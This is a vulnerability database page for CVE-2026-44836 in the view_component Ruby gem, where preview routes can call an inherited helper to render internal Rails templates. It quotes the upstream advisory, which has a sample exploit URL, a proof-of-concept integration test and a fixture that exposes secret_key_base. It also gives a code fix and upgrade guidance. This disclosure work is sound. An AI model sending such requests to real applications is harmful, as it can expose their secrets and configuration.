HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 44836 viewcomponent preview route can dispatch
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Affiliate program
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright ยฉ 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Medium ยท CVSS 6.5CVE-2026-44836GHSA-7F3R-GWC9-2995

view_component: Preview Route Can Dispatch Inherited Helper MethodsCVE-2026-44836

Answer in brief

CVE-2026-44836 records a Medium severity (CVSS 6.5) vulnerability in view_component: Preview Route Can Dispatch Inherited Helper Methods. The current sources do not mark it as known exploited. The current feed maps view_component (rubygems), view_component (rubygems). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published May 8, 2026Updated Sep 10, 2026Source checked Nov 1, 2026First seen by HOL Jun 11, 2026Material review Sep 10, 2026
Upstream Advisory

Key facts

Risk
Medium ยท CVSS 6.5
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 6.5. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps view_component (rubygems), view_component (rubygems). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
view_componentrubygems>=3.0.0,<4.9.04.9.0
view_componentrubygems>=3.0.0 <4.9.04.9.0

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for view_component, view_component.
  2. 2Review the reported fix. Update view_component to 4.9.0; view_component to 4.9.0 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    May 8, 2026

    Evidence: source:osv:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:osv:source_dates:source-dates:record
  3. First seen by HOL

    Jun 11, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • GitHub security advisorygithub.com
Upstream source description

### Summary The preview route derives an example name from the URL and calls it with `public_send`. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class. As a result, inherited public methods on `ViewComponent::Preview` are route-reachable. The most important one is `render_with_template`, which accepts `template:` and `locals:`. Those values can come from request params and are later passed to Rails as `render template:`. If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable. Severity: High if preview routes are externally reachable; Medium otherwise. Affected files: - `lib/view_component/preview.rb` - `app/controllers/concerns/view_component/preview_actions.rb` - `app/views/view_components/preview.html.erb` ### Relevant Code `app/controllers/concerns/view_component/preview_actions.rb`: ```ruby @example_name = File.basename(params[:path]) @render_args = @preview.render_args(@example_name, params: params.permit!) ``` `lib/view_component/preview.rb`: ```ruby example_params_names = instance_method(example).parameters.map(&:last) provided_params = params.slice(*example_params_names).to_h.symbolize_keys result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params) ``` `app/views/view_components/preview.html.erb`: ```erb <%= render template: @render_args[:template], locals: @render_args[:locals] || {} %> ``` The UI only lists direct preview methods via: ```ruby public_instance_methods(false).map(&:to_s).sort ``` But `render_args` does not enforce that list before dispatching. ### Exploit Flow Example request: ```text GET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request ``` Flow: 1. `my_component` resolves to a valid preview. 2. `File.basename(params[:path])` returns `render_with_template`. 3. `render_args` calls inherited `ViewComponent::Preview#render_with_template`. 4. Request params provide `template: "internal/secret"` and `locals: {...}`. 5. The preview view renders `internal/secret` with attacker-controlled locals. Impact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values. ### PoC Test This checkout already contains a PoC at: - `test/sandbox/test/security_preview_template_poc_test.rb` - `test/sandbox/app/views/internal/secret.html.erb` The test proves that `/internal/secret` is not directly routable, but can still be rendered through the preview endpoint by invoking inherited `render_with_template`. If reproducing manually, run: ```bash bundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb ``` Equivalent standalone test: ```ruby # frozen_string_literal: true require "test_helper" class SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest def setup ViewComponent::Preview.__vc_load_previews end def test_preview_route_can_invoke_inherited_render_with_template refute_includes MyComponentPreview.examples, "render_with_template" assert_raises(ActionController::RoutingError) do Rails.application.routes.recognize_path("/internal/secret") end get( "/rails/view_components/my_component/render_with_template", params: { template: "internal/secret", locals: {poc_local: "attacker-controlled-local"}, request_marker: "attacker-controlled-request" } ) assert_response :success assert_includes response.body, "VC_PREVIEW_POC_SECRET=foo" assert_includes response.body, "VC_PREVIEW_POC_LOCAL=attacker-controlled-local" assert_includes response.body, "VC_PREVIEW_POC_REQUEST=attacker-controlled-request" end end ``` Fixture template: ```erb <div id="poc-secret">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div> <div id="poc-local">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns["poc_local"] %></div> <div id="poc-request">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div> ``` ### Suggested Fix Only dispatch explicitly declared preview examples: ```ruby def render_args(example, params: {}) example = example.to_s raise AbstractController::ActionNotFound unless examples.include?(example) example_params_names = instance_method(example).parameters.map(&:last) provided_params = params.slice(*example_params_names).to_h.symbolize_keys result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params) result ||= {} result[:template] = preview_example_template_path(example) if result[:template].nil? @layout = nil unless defined?(@layout) result.merge(layout: @layout) end ``` Add a regression test that `/rails/view_components/my_component/render_with_template` fails unless `render_with_template` is explicitly defined as a preview example on that class.

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Secret Exfiltration
EPSS
Not reported
CWE IDs
Not reported
Source
GitHub Security Advisories
Source checked
Nov 1, 2026
References
5 linked sources
Open source record